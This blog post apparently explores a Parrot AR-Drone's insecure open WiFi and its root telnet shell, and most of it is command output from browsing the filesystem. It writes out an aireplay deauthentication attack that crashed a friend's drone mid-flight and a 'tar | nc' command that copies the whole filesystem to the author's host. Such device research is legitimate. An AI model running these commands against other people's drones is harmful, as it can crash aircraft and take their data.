Skip to content

Hacking the AR-DRONE Parrot

In this post I will talk about the AR-Drone Parrot.
These user-controlled helicopters are getting very popular, and a lot of people are using them in city parks and gardens.

Time ago, a friend told me he had bought one of this helicopters, so I meet him and his toy to perform some investigations. I now these is nothing new, and very good presentations does exist regarding UAVs (check rootedCon 2012 presentation by Hugo Teso), but is the first time I see this kind of drone in the Real-World 😀

First to be said, this drones can be controlled with an iPhone app via open wireless connection, so evil things can happend meanwhile the drone is operated by an legitime user ]:-)

The AR-Drone Parrot runs embeded linux on a SOC Atheros chipset. When the AR-Drone Parrot is powered, an open non-encrypted WiFi AP is configured. The user must configure his iPhone to connect to this wifi network; then, the AR-Drone Parrot application must be started in order to control the helicopter.

Airodump-ng capture of the AR-Drone Parrot wifi network:

[text]

CH 6 ][ Elapsed: 52 s ][ 2012-05-12 00:09 ][ fixed channel mon0: -1
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:26:7E:XX:XX:XX -18 100 408 37 0 6 54 . OPN ardrone_0xx0xx

[/text]

As you can see, the AR-Drone created an open access point. The next logical step is to configure the wireless adapter to connect to the AR-Drone network, but first I tried to de-authenticate the connected client (my friend’s iPhone), so I performed an aireplay -0 deauth attack and I have to say this attack was succesfull: the iPhone got deauth and the drone crashed in the floor ]:-)

[text]
watergate:~#
watergate:~# aireplay -0 10 -a drone_mac -c phone_mac -e ardrone_0xx0xx mon0
watergate:~#
[/text]

But as the intention is to understand the internals of this toy, the best is to stop performing these type of attacks xD
You can check several connectors, and the video camera in this picture

[text]
root@watergate:~# ifup wlan0
Listening on LPF/wlan0/00:1d:89:xx:xx:xx
Sending on LPF/wlan0/00:1d:89:xx:xx:xx
Sending on Socket/fallback
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 6
DHCPOFFER from 192.168.1.1
DHCPREQUEST on wlan0 to 255.255.255.255 port 67
DHCPACK from 192.168.1.1
bound to 192.168.1.5 — renewal in 522 seconds.
root@watergate:~#
[/text]

Once connected to the AR-Drone wireless network, an Layer2 exploration is made with arp-scan:

[text]
root@watergate:~# arp-scan -I wlan0 192.168.1.0/24
Interface: wlan0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.8.1 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.1.1 00:26:7e:xx:xx:xx Parrot SA

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.8.1: 256 hosts scanned in 1.583 seconds (161.72 hosts/sec). 1 responded
root@watergate:~#
root@watergate:~#
[/text]

And nmap comes here 🙂

[text]
root@watergate:~# nmap -A 192.168.1.1

Starting Nmap 5.21 ( http://nmap.org ) at 2012-05-12 00:13 CEST
Stats: 0:01:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 192.168.1.1
Host is up (0.0018s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
|_ftp-anon: Anonymous FTP login allowed
23/tcp open telnet?
MAC Address: 00:26:7E:xx:xx:xx (Parrot SA)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 – 2.6.28
Network Distance: 1 hop

HOP RTT ADDRESS
1 1.82 ms 192.168.1.1

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.50 seconds
root@watergate:~#
[/text]

The telnet port is open, and serving a r00tshell. There are the dumps of my system walk:

[text]
root@watergate:~# telnet 192.168.1.1
Trying 192.168.1.1…
Connected to 192.168.1.1.
Escape character is ‘^]’.

BusyBox v1.14.0 (2012-04-06 12:49:05 CEST) built-in shell (ash)
Enter ‘help’ for a list of built-in commands.
#
[/text]

Let’s explore this little helicopter …

[text]
# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
#
# ls firmware/
ADC BLC.hex.backup version.txt
#
# cat firmware/version.txt
1.10.12
#
#
# ps
PID USER VSZ STAT COMMAND
1 root 2732 S init
2 root 0 SW< [kthreadd]
3 root 0 SW< [ksoftirqd/0]
4 root 0 SW< [watchdog/0]
5 root 0 SW< [events/0]
6 root 0 SW< [khelper]
75 root 0 SW< [kblockd/0]
87 root 0 SW< [khubd]
93 root 0 SW< [kmmcd]
116 root 0 SW [pdflush]
117 root 0 SW [pdflush]
118 root 0 SW< [kswapd0]
119 root 0 SW< [aio/0]
120 root 0 SW< [nfsiod]
764 root 0 SW< [ubi_bgt0d]
767 root 0 SW< [ubi_bgt1d]
771 root 0 SW< [ubi_bgt2d]
792 root 0 SW< [p6-spi.0]
805 root 0 SW< [rpciod/0]
814 root 0 SW< [ubifs_bgt1_0]
826 root 0 SW< [ubifs_bgt2_0]
828 root 0 SW< [ubifs_bgt2_1]
834 root 1632 S /bin/factory_reset_cb
899 root 0 SW< [ksdiorqd]
900 root 0 SW< [ar6000_io]
956 root 2736 S telnetd -l /bin/sh
958 root 2732 S udhcpd /tmp/udhcpd.conf
962 root 2736 S /bin/sh /bin/memory_check.sh
970 root 2812 S inetd
972 root 2736 S /bin/sh /bin/check_update.sh
973 root 12728 S /bin/program.elf
975 root 2732 S init
976 root 2732 S /sbin/syslogd -n -m 0
977 root 2732 S /sbin/klogd -n
1657 root 2600 S sleep 10
1658 root 2736 S /bin/sh
1660 root 2816 R ps
#
# netstat -tpln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5551 0.0.0.0:* LISTEN 969/inetd
tcp 0 0 0.0.0.0:5557 0.0.0.0:* LISTEN 971/program.elf
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 969/inetd
tcp 0 0 0.0.0.0:5559 0.0.0.0:* LISTEN 971/program.elf
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 956/telnetd
# uname -a
Linux myhost 2.6.27.47-parrot #1 PREEMPT Fri Apr 6 12:57:29 CEST 2012 armv5tejl GNU/Linux
#
# iwconfig
lo no wireless extensions.
Every 2s: iwconfig ath0 1970-01-01 00:24:54
ath0 AR6000 802.11g ESSID:"ardrone_0xx0xx"
Mode:Master Frequency:2.437 GHz Bit Rate:24 Mb/s Tx-Power=16 dBm
Sensitivity=0/3
Encryption key:off
Power Management:off
Link Quality:255/94 Signal level:-96 dBm Noise level:-96 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:727 Invalid misc:0 Missed beacon:0
#
[/text]

As you can see, an ath0 device is shown, configured as access point. I tried to configure this wifi device with encryption (WEP), but I did not succeed (maybe the chipset cannot support this encryption mode?). Several ports are open (ftp, telnet and some non-standard ports 555X)
Before moving on, always is a good idea to perform a quick backup with netcat.

[text]
# cd /
#
# df -h
Filesystem Size Used Available Use% Mounted on
ubi1:system 12.0M 7.0M 4.4M 62% /
tmp 61.6M 68.0K 61.5M 0% /tmp
dev 61.6M 0 61.6M 0% /dev
ubi0:factory 4.8M 40.0K 4.5M 1% /factory
ubi2:update 13.2M 28.0K 12.5M 0% /update
ubi2:data 67.5M 3.9M 60.1M 6% /data
#
#
# tar zcf – /data/ | nc 192.168.1.5 31337
tar: removing leading ‘/’ from member names
#
# tar zcf – / | nc 192.168.1.5 31337
tar: removing leading ‘/’ from member names
tar: /dev/log: socket ignored
tar: short read
#
[/text]

After transferring the backup data, the exploration continues

[text]
# cat /etc/inetd.conf
21 stream tcp nowait root ftpd ftpd -w /data/video
5551 stream tcp nowait root ftpd ftpd -w /update
#
# ls /data/
accs_infos.bin emergency.bin old_adress.txt video
config.ini fact_accs_infos.bin random_mac.txt
custom.configs navdata_blackbox.bin syslog.bin
#
#
[/text]

Let’s continue the walk!

[text]
# ls /tmp/
messages udhcpd.conf
#
#
# ls -lh /factory/
-rw-r–r– 1 root root 9.2K Jan 1 00:00 FVT1_scripts.zip
-rw-r–r– 1 root root 7.4K Jan 1 00:00 FVT1_trace.txt
-rw-r–r– 1 root root 18 Jan 1 00:00 mac_address.txt
-rw-r–r– 1 root root 114 Jan 1 00:00 parameters.xml
-rw-r–r– 1 root root 538 Jan 1 00:00 production_info.xml
-rw-r–r– 1 root root 11 Jan 1 00:00 serial.txt
#
#
# cd /factory/
# ls
FVT1_scripts.zip mac_address.txt production_info.xml
FVT1_trace.txt parameters.xml serial.txt
#
# cat FVT1_trace.txt
SMP0H0xx0xx
CParrot
PFVT1MB
pAztech
NAztechParrotMBFVT103
BMykonos_MB
nNA
rNA
LAztechMykonosline01
RV01.07
WV1.13
TP
[2010-08-30 10:56:13
]2010-08-30 10:57:39

MGet test bench software version
> 000 – Base DLL version : V01.01 – Jul 30 2010 14:08:46
> 001 – Script version : V01.06.00
> 002 – Io board : open USB 1208-LS board n1(ID 104)
> start time : 0.000
> duration : 0.000

MReset product in boot USB mode
> 000 – Io board : all output off USB 1208-LS
> 001 – Wait 1000 ms
> 002 – Io board : digital output PWR_5V_DUT_ON
> 003 – Wait 500 ms
> 004 – Io board : digital output 12V_DUT_ON
> 005 – Wait 500 ms
> start time : 0.000
> duration : 2.047

MCheck Test current consumption
> 000 – Current consumption MOTHER_BOARD +47.778 mA OK (min = +30.000mA, max = +80.000mA)
> start time : 2.047
> duration : 0.328

MCheck voltage level
> 000 – Io board : open USB 1208-LS board n1(ID 104)
> 001 – Voltage 3V3_DC_DC +3.447 V OK (min = +3.200V, max = +3.500V)
> 002 – Voltage 1V2_DC_DC +1.179 V OK (min = +1.100V, max = +1.300V)
> 003 – Voltage 1V0 +0.987 V OK (min = +0.900V, max = +1.100V)
> 004 – Voltage 1V8_WIFI_CAM +1.768 V OK (min = +1.700V, max = +1.900V)
> 005 – Voltage 1V2_WIFI +1.163 V OK (min = +1.100V, max = +1.300V)
> 006 – Voltage 1V8_DC_DC +1.826 V OK (min = +1.700V, max = +1.900V)
> 007 – Voltage 5V_LDO +5.127 V OK (min = +4.900V, max = +5.200V)
> start time : 2.375
> duration : 2.406

MFlash eeprom
> 000 – Add communication USB_0
> 001 – Open communication USB_0 with vendor ID 0x19cf, product ID 0x1000, timeout 10000
> 002 – Select communication USB_0
> 003 – Flashing : USB upload bin file BINARY\\flash_I2C.bin (3172 byte) with upload timeout to 5000ms
> 004 – Close communication USB_0
> 005 – Wait 10000 ms
> start time : 4.781
> duration : 10.094

MReset product in boot USB mode
> 000 – Io board : all output off USB 1208-LS
> 001 – Wait 1000 ms
> 002 – Io board : digital output PWR_5V_DUT_ON
> 003 – Wait 500 ms
> 004 – Io board : digital output 12V_DUT_ON
> 005 – Wait 500 ms
> start time : 14.875
> duration : 2.094

MFlash embedded test software in ROM
> 000 – Add communication USB_0
> 001 – Open communication USB_0 with vendor ID 0x19cf, product ID 0x1000, timeout 10000
> 002 – Select communication USB_0
> 003 – Flashing : USB upload bin file BINARY\\mykonos_usb_bootloader.bin (23328 byte) with upload timeout to 5000ms
> 004 – Close communication USB_0
> 005 – Open communication USB_0 with vendor ID 0x19cf, product ID 0x1000, timeout 10000
> 006 – Flashing : USB upload plf file BINARY\\mykonos_installer_prod.plf (1725708 byte) with upload timeout to 5000ms and error code timeout to 10000ms
> 007 – Close communication USB_0
> 008 – Open communication USB_0 with vendor ID 0x19cf, product ID 0x1000, timeout 10000
> 009 – Wait 1000 ms
> 010 – Flashing : USB upload plf file BINARY\\mykonos_test_software_rom.plf (8959908 byte) with upload timeout to 15000ms and error code timeout to 10000ms
> 011 – Close communication USB_0
> 012 – Wait 5000 ms
> start time : 16.969
> duration : 15.968

MReset product in normal mode
> 000 – Io board : all output off USB 1208-LS
> 001 – Wait 1000 ms
> 002 – Io board : digital output 12V_DUT_ON
> start time : 32.937
> duration : 1.078

MOpen USB communication
> 000 – Wait 5000 ms
> 001 – Add communication USB_0
> 002 – Open communication USB_0 with vendor ID 0x19cf, product ID 0x1000, timeout 20000
> 003 – Io board : all output off USB 1208-LS
> 004 – Wait 1000 ms
> 005 – Io board : digital output 12V_DUT_ON
> 006 – Wait 5000 ms
> 007 – Add communication USB_0
> 008 – Open communication USB_0 with vendor ID 0x19cf, product ID 0x1000, timeout 20000
> 009 – Select communication USB_0
> 010 – Wait 2000 ms
> start time : 34.031
> duration : 34.609

MCheck embedded test software version
> 000 – Embedded software version : V01.02 (Jun 1 2010, 11:11:35)
> start time : 68.640
> duration : 0.125

MCheck uart nav board
> 000 – Add communication UART_2
> 001 – Open communication UART_2 with port COM1, overspeed 1, baudrate 115200
> 002 – Select communication UART_2
> 003 – Embedded software version : V01.02 (Jun 1 2010, 11:11:35)
> 004 – Close communication UART_2
> 005 – Select communication USB_0
> start time : 68.781
> duration : 0.750

MCheck uart motor 1
> 000 – Test motor : CHECK_MOTOR1_UART_LOOP, with number 10
> start time : 69.547
> duration : 0.375

MCheck uart motor 2
> 000 – Test motor : CHECK_MOTOR2_UART_LOOP, with number 10
> start time : 69.937
> duration : 0.375

MCheck uart motor 3
> 000 – Test motor : CHECK_MOTOR3_UART_LOOP, with number 10
> start time : 70.328
> duration : 0.375

MCheck uart motor 4
> 000 – Test motor : CHECK_MOTOR4_UART_LOOP, with number 10
> start time : 70.719
> duration : 0.375

MCheck motor fault signal
> 000 – Io board : digital output 5V_FAULT_OFF
> 001 – Wait 500 ms
> 002 – Check gpio n106 to state 0 SUCCESSFUL
> 003 – Io board : digital output 5V_FAULT_ON
> 004 – Wait 1000 ms
> 005 – Check gpio n106 to state 1 SUCCESSFUL
> 006 – Io board : digital output 5V_FAULT_OFF
> start time : 71.109
> duration : 1.750

MCheck WiFi module communication
> 000 – Console : modprobe p6-sdhci
> 001 – Wait 1000 ms
> 002 – Console : loadAR6k.sh >/tmp/wifi_log.txt
> 003 – Wait 3000 ms
> 004 – Download embedded file /tmp/wifi_log.txt to PC TRACES\\wifi_log.txt
> 005 – Analyze text file OK, "bmiloader: ath0: Input/output error" is not present
> 006 – Analyze text file OK, "BMI Done" is present
> start time : 72.859
> duration : 8.281

MCheck 26 MHz quartz
> 000 – Frequency meter initialization OK, identification PENDULUM, CNT-90, 134774, V1.26 18 Dec 2009 16:30

> 001 – Frequency meter send command MEAS:FREQ? (@1)\n OK
> 002 – Wait 100 ms
> 003 – Frequency meter send command :INP1:LEV:AUTO ON OK
> 004 – Wait 100 ms
> 005 – Frequency meter send command :INP1:SLOP POS OK
> 006 – Wait 100 ms
> 007 – Frequency meter send command :INP1:COUP AC OK
> 008 – Wait 100 ms
> 009 – Frequency meter send command :INP1:IMP 1000000 OK
> 010 – Wait 100 ms
> 011 – Frequency meter send command :INP1:ATT 1 OK
> 012 – Wait 100 ms
> 013 – Get frequency value : 26000046.000000Hz
> 014 – Check frequency 26000046.000000Hz OK (min = 25999480.000000Hz, max = 26000520.000000Hz)
> start time : 81.156
> duration : 2.813

MSave MAC address
> 000 – MAC address : get address 00:26:7E:xx:xx:xx
> 001 – Set parameter parameters/mac_address/value to 00:26:7E:xx:xx:xx
> 002 – Console : echo ’00:26:7E:xx:xx:xx’ >factory/mac_address.txt
> start time : 83.984
> duration : 0.328

MSave PCB number
> 000 – Set parameter factory_info/product_info/pcb_number/value to MP0H0xx0xx
> 001 – Console : echo ‘MP0H0xx0xx’ >factory/serial.txt
> start time : 84.312
> duration : 0.282

MSave product name
> 000 – Set parameter factory_info/product_info/name/value to Mykonos
> start time : 84.609
> duration : 0.141

MSave FVT1 OK status into product
> 000 – Add FVT1 n0 with status OK
> start time : 84.765
> duration : 1.391

MSave test scripts into product
> 000 – Upload PC file TRACES\\TESTER_1\\scripts.zip to embedded /factory/FVT1_scripts.zip
> start time : 86.156
> duration : 0.484

# ls
FVT1_scripts.zip mac_address.txt production_info.xml
FVT1_trace.txt parameters.xml serial.txt
# cat mac_address.txt
00:26:7E:xx:xx:xx
# cat parameters.xml
<?xml version="1.0"?>
<parameters>
<wifi_zone value="0"/>
<mac_address value="00:26:7E:xx:xx:xx"/></parameters>
#
# cat serial.txt
MP0Hxxxxxx
#
# ls
FVT1_scripts.zip mac_address.txt production_info.xml
FVT1_trace.txt parameters.xml serial.txt
# cat production_info.xml
<?xml version="1.0"?>
<factory_info>
<product_info>
<name value="Mykonos"/>
<pcb_number value="MP0Hxxxxxx"/>
<pi_number value="Unknown"/>
<pf_number value="Unknown"/>
</product_info>
<FVT1>
<counter value="1"/>
<passage_0>
<date value="2010-08-30"/>
<time value="10:57:38"/>
<status value="OK"/>
<failed_step value="NA"/>
<dll_version value="V01.02"/>
<script_version value="V01.06.00"/>
<embedded_version value="V01.02"/>
</passage_0>
</FVT1>
</factory_info>
# cd ..
# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
# ls -lah bin/
drwxr-xr-x 2 root root 4.8K Jan 1 00:00 .
drwxr-xr-x 20 root root 1.3K Jan 1 00:00 ..
lrwxrwxrwx 1 root root 7 Jan 1 00:00 ash -> busybox
-rwxr-xr-x 1 root root 484.3K Jan 1 00:00 busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 cat -> busybox
-rwxr-xr-x 1 root root 36.2K Jan 1 00:00 channelselector
-rwxr-xr-x 1 root root 1.4K Jan 1 00:00 check_update.sh
-rwxr-xr-x 1 root root 9.7K Jan 1 00:00 checkplf
lrwxrwxrwx 1 root root 7 Jan 1 00:00 chgrp -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 chmod -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 chown -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 cp -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 cttyhack -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 date -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 dd -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 df -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 dmesg -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 echo -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 egrep -> busybox
-rwxr-xr-x 1 root root 3.4K Jan 1 00:00 factory_reset_cb
lrwxrwxrwx 1 root root 7 Jan 1 00:00 false -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 fgrep -> busybox
-rwxr-xr-x 1 root root 105.3K Jan 1 00:00 gdbserver
lrwxrwxrwx 1 root root 7 Jan 1 00:00 getopt -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 grep -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 gunzip -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 gzip -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 hostname -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 ip -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 ipcalc -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 kill -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 ln -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 ls -> busybox
-rwxr-xr-x 1 root root 688 Jan 1 00:00 memory_check.sh
lrwxrwxrwx 1 root root 7 Jan 1 00:00 mkdir -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 mknod -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 mktemp -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 mount -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 mv -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 netstat -> busybox
-rwxr-xr-x 1 root root 173 Jan 1 00:00 nfs.sh
-rwxr-xr-x 1 root root 1.5K Jan 1 00:00 pairing_setup.sh
lrwxrwxrwx 1 root root 7 Jan 1 00:00 pidof -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 ping -> busybox
-rwxr-xr-x 1 root root 903.2K Jan 1 00:00 program.elf
lrwxrwxrwx 1 root root 7 Jan 1 00:00 ps -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 pwd -> busybox
-rwxr-xr-x 1 root root 3.2K Jan 1 00:00 random_ip
-rwxr-xr-x 1 root root 2.9K Jan 1 00:00 random_mac
-rwxr-xr-x 1 root root 6.1K Jan 1 00:00 repairBoxes
-rwxr-xr-x 1 root root 680 Jan 1 00:00 reset_config.sh
-rwxr-xr-x 1 root root 86 Jan 1 00:00 reset_dhcp.sh
lrwxrwxrwx 1 root root 7 Jan 1 00:00 rm -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 rmdir -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 sed -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 sh -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 sleep -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 stat -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 stty -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 sync -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 tar -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 touch -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 true -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 umount -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 uname -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 usleep -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 vi -> busybox
lrwxrwxrwx 1 root root 7 Jan 1 00:00 watch -> busybox
-rwxr-xr-x 1 root root 2.6K Jan 1 00:00 wifi_adhoc.sh
-rwxr-xr-x 1 root root 2.8K Jan 1 00:00 wifi_infra.sh
-rwxr-xr-x 1 root root 2.5K Jan 1 00:00 wifi_managed.sh
-rwxr-xr-x 1 root root 313 Jan 1 00:00 wifi_setup.sh
lrwxrwxrwx 1 root root 7 Jan 1 00:00 zcat -> busybox
#
# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
# ls dev/
binder ptyq1 ptyy3 ttyad ttysf
console ptyq2 ptyy4 ttyae ttyt0
cpu_dma_latency ptyq3 ptyy5 ttyaf ttyt1
dmamem ptyq4 ptyy6 ttyb0 ttyt2
event0 ptyq5 ptyy7 ttyb1 ttyt3
full ptyq6 ptyy8 ttyb2 ttyt4
gpio ptyq7 ptyy9 ttyb3 ttyt5
i2c-0 ptyq8 ptyya ttyb4 ttyt6
i2c-1 ptyq9 ptyyb ttyb5 ttyt7
input ptyqa ptyyc ttyb6 ttyt8
kmem ptyqb ptyyd ttyb7 ttyt9
kmsg ptyqc ptyye ttyb8 ttyta
log ptyqd ptyyf ttyb9 ttytb
log_events ptyqe ptyz0 ttyba ttytc
log_main ptyqf ptyz1 ttybb ttytd
log_radio ptyr0 ptyz2 ttybc ttyte
mem ptyr1 ptyz3 ttybd ttytf
mtd0 ptyr2 ptyz4 ttybe ttyu0
mtd0ro ptyr3 ptyz5 ttybf ttyu1
mtd1 ptyr4 ptyz6 ttyc0 ttyu2
mtd1ro ptyr5 ptyz7 ttyc1 ttyu3
mtd2 ptyr6 ptyz8 ttyc2 ttyu4
mtd2ro ptyr7 ptyz9 ttyc3 ttyu5
mtd3 ptyr8 ptyza ttyc4 ttyu6
mtd3ro ptyr9 ptyzb ttyc5 ttyu7
mtd4 ptyra ptyzc ttyc6 ttyu8
mtd4ro ptyrb ptyzd ttyc7 ttyu9
network_latency ptyrc ptyze ttyc8 ttyua
network_throughput ptyrd ptyzf ttyc9 ttyub
null ptyre pwm ttyca ttyuc
p264_p6 ptyrf ram0 ttycb ttyud
ptmx ptys0 ram1 ttycc ttyue
pts ptys1 ram10 ttycd ttyuf
ptya0 ptys2 ram11 ttyce ttyv0
ptya1 ptys3 ram12 ttycf ttyv1
ptya2 ptys4 ram13 ttyd0 ttyv2
ptya3 ptys5 ram14 ttyd1 ttyv3
ptya4 ptys6 ram15 ttyd2 ttyv4
ptya5 ptys7 ram2 ttyd3 ttyv5
ptya6 ptys8 ram3 ttyd4 ttyv6
ptya7 ptys9 ram4 ttyd5 ttyv7
ptya8 ptysa ram5 ttyd6 ttyv8
ptya9 ptysb ram6 ttyd7 ttyv9
ptyaa ptysc ram7 ttyd8 ttyva
ptyab ptysd ram8 ttyd9 ttyvb
ptyac ptyse ram9 ttyda ttyvc
ptyad ptysf random ttydb ttyvd
ptyae ptyt0 shm ttydc ttyve
ptyaf ptyt1 tty ttydd ttyvf
ptyb0 ptyt2 tty0 ttyde ttyw0
ptyb1 ptyt3 tty1 ttydf ttyw1
ptyb2 ptyt4 tty10 ttye0 ttyw2
ptyb3 ptyt5 tty11 ttye1 ttyw3
ptyb4 ptyt6 tty12 ttye2 ttyw4
ptyb5 ptyt7 tty13 ttye3 ttyw5
ptyb6 ptyt8 tty14 ttye4 ttyw6
ptyb7 ptyt9 tty15 ttye5 ttyw7
ptyb8 ptyta tty16 ttye6 ttyw8
ptyb9 ptytb tty17 ttye7 ttyw9
ptyba ptytc tty18 ttye8 ttywa
ptybb ptytd tty19 ttye9 ttywb
ptybc ptyte tty2 ttyea ttywc
ptybd ptytf tty20 ttyeb ttywd
ptybe ptyu0 tty21 ttyec ttywe
ptybf ptyu1 tty22 ttyed ttywf
ptyc0 ptyu2 tty23 ttyee ttyx0
ptyc1 ptyu3 tty24 ttyef ttyx1
ptyc2 ptyu4 tty25 ttyp0 ttyx2
ptyc3 ptyu5 tty26 ttyp1 ttyx3
ptyc4 ptyu6 tty27 ttyp2 ttyx4
ptyc5 ptyu7 tty28 ttyp3 ttyx5
ptyc6 ptyu8 tty29 ttyp4 ttyx6
ptyc7 ptyu9 tty3 ttyp5 ttyx7
ptyc8 ptyua tty30 ttyp6 ttyx8
ptyc9 ptyub tty31 ttyp7 ttyx9
ptyca ptyuc tty32 ttyp8 ttyxa
ptycb ptyud tty33 ttyp9 ttyxb
ptycc ptyue tty34 ttypa ttyxc
ptycd ptyuf tty35 ttypb ttyxd
ptyce ptyv0 tty36 ttypc ttyxe
ptycf ptyv1 tty37 ttypd ttyxf
ptyd0 ptyv2 tty38 ttype ttyy0
ptyd1 ptyv3 tty39 ttypf ttyy1
ptyd2 ptyv4 tty4 ttyq0 ttyy2
ptyd3 ptyv5 tty40 ttyq1 ttyy3
ptyd4 ptyv6 tty41 ttyq2 ttyy4
ptyd5 ptyv7 tty42 ttyq3 ttyy5
ptyd6 ptyv8 tty43 ttyq4 ttyy6
ptyd7 ptyv9 tty44 ttyq5 ttyy7
ptyd8 ptyva tty45 ttyq6 ttyy8
ptyd9 ptyvb tty46 ttyq7 ttyy9
ptyda ptyvc tty47 ttyq8 ttyya
ptydb ptyvd tty48 ttyq9 ttyyb
ptydc ptyve tty49 ttyqa ttyyc
ptydd ptyvf tty5 ttyqb ttyyd
ptyde ptyw0 tty50 ttyqc ttyye
ptydf ptyw1 tty51 ttyqd ttyyf
ptye0 ptyw2 tty52 ttyqe ttyz0
ptye1 ptyw3 tty53 ttyqf ttyz1
ptye2 ptyw4 tty54 ttyr0 ttyz2
ptye3 ptyw5 tty55 ttyr1 ttyz3
ptye4 ptyw6 tty56 ttyr2 ttyz4
ptye5 ptyw7 tty57 ttyr3 ttyz5
ptye6 ptyw8 tty58 ttyr4 ttyz6
ptye7 ptyw9 tty59 ttyr5 ttyz7
ptye8 ptywa tty6 ttyr6 ttyz8
ptye9 ptywb tty60 ttyr7 ttyz9
ptyea ptywc tty61 ttyr8 ttyza
ptyeb ptywd tty62 ttyr9 ttyzb
ptyec ptywe tty63 ttyra ttyzc
ptyed ptywf tty7 ttyrb ttyzd
ptyee ptyx0 tty8 ttyrc ttyze
ptyef ptyx1 tty9 ttyrd ttyzf
ptyp0 ptyx2 ttyJ0 ttyre ubi0
ptyp1 ptyx3 ttyPA0 ttyrf ubi0_0
ptyp2 ptyx4 ttyPA1 ttys0 ubi1
ptyp3 ptyx5 ttyPA2 ttys1 ubi1_0
ptyp4 ptyx6 ttya0 ttys2 ubi2
ptyp5 ptyx7 ttya1 ttys3 ubi2_0
ptyp6 ptyx8 ttya2 ttys4 ubi2_1
ptyp7 ptyx9 ttya3 ttys5 ubi_ctrl
ptyp8 ptyxa ttya4 ttys6 urandom
ptyp9 ptyxb ttya5 ttys7 usbmon0
ptypa ptyxc ttya6 ttys8 vcs
ptypb ptyxd ttya7 ttys9 vcsa
ptypc ptyxe ttya8 ttysa video0
ptypd ptyxf ttya9 ttysb video1
ptype ptyy0 ttyaa ttysc watchdog
ptypf ptyy1 ttyab ttysd zero
ptyq0 ptyy2 ttyac ttyse
#
#
# ls factory/
FVT1_scripts.zip mac_address.txt production_info.xml
FVT1_trace.txt parameters.xml serial.txt
# ls home/
default
# ls home/default/
# ls -lah /home/default/
drwxr-sr-x 2 default default 160 Jan 1 00:00 .
drwxr-xr-x 3 root root 224 Jan 1 00:00 ..
# pwd
/
# ls
bin dev factory home licenses proc sbin tmp usr
data etc firmware lib mnt root sys update var
# ls -lh licenses/
-rw-r–r– 1 root root 47.9K Jan 1 00:00 licenses.txt
-rw-r–r– 1 root root 24.6K Jan 1 00:00 police-notice.html.gz
#
# ls -lh proc/
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1
dr-xr-xr-x 6 root root 0 Jan 1 00:19 116
dr-xr-xr-x 6 root root 0 Jan 1 00:19 117
dr-xr-xr-x 6 root root 0 Jan 1 00:19 118
dr-xr-xr-x 6 root root 0 Jan 1 00:19 119
dr-xr-xr-x 6 root root 0 Jan 1 00:19 120
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1575
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1583
dr-xr-xr-x 6 root root 0 Jan 1 00:19 1584
